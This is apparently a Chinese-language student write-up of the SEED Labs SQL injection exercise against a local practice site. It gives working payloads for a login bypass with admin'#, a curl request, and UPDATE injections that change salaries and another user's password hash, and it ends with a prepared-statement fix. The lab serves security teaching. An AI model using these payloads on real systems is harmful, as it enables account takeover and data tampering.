这里写自定义目录标题
1. sql
- 向网站提交构造的sql语句
- 导致网站将关键数据信息返回
- 查询 select * from table where
- 删除 delete from table where condition
- 更新 update table set field=value where condition
- 添加记录 insert into table field values
- count()
- asc(‘nchar’)
- unicode(‘nchar’)
- mid(str,n1,n2)
- substring(str,n1,n1,n2)
abc' or 1=1--
select*from user where username='abc' or 1=1-- and password='123'
直接登录,因为密码被屏蔽select admin from where admin='admin' union select user from user
admin和user类型必须匹配- 报错型
- 盲注
2. sql存储
- sql存储: sp_ 系统的各项设定 XP_ 调用操作系统提供的功能
二、实验步骤
1. 修改hosts
sudo nano /etc/hosts
2. 启动环境
dcup
三、TASK
1. Task1:Get Familiar with SQL Statements
进入mysql
mysql -u root -p dees
2. Task2: SQL Injection Attack on SELECT Statement
2.1 Task2.1:SQL Injection Attack from webpage
登录http://www.seed-server.com/
可以看到密码部分做了 sha1 哈希,因此我们考虑直接绕过,此处密码为任意值。登录,如图所示:
可以看到已经成功以 admin 的身份登录。
原因分析: 当我们把 username 输入为 admin’#时,我们实际上把 sql 语句拼接成了: where name=’admin’#’ and password=’’,因此#后面的直接被注释忽 略,因 此直接绕过了。
2.2 Task2.2: SQL Injection Attack from command line
$ curl 'www.seed-server.com/unsafe_home.php?username=admin&Password=t
estX’
使用 curl 攻击得到了一样的效果
2.3 Task2.3: Append a new SQL statement
如图所示,使用
payload:
admin'; update sqllab_users set Salary=123 where Username='Alice';#
登录,发现报错:这是因为 mysql_query 的一种保护机制,使得一条语句中不能执行两条及以上的 mysql 语句,因此会报错无法注入。
3. Task3: SQL Injection Attack on UPDATE Statement
3.1 Task 3.1: Modify your own salary
在nickname一栏注入
AAA',salary='111111'where ID=1;#
3.2 Task3.2 Modify other people’s salary
修改 Boby 的工资为 1
aaaa',salary=1 where EID=20000;#
我们通过where 语句来索引Boby 的信息,从而直接使用sql 注入修改了Boby
的个人信息,同时使用#注释原来的 sql 语句。
3.3 Task3.3:Modify other people’s password
将数据库存储的密码修改为我们想要的密码再使用 sha1 哈希即可。
如图所示,123 经过 sha1 为:40bd001563085fc35165329ea1ff5c5ecbdbbeef
aaa',Password='40bd001563085fc35165329ea1ff5c5ecbdbbeef' where EID=20000;#
登录 Boby,密码输入 123,发现成功登录:
4. Task4:Contermeasure—Prepared Statement
修改 unsafe.php 的代码
重启docker,已经不能注入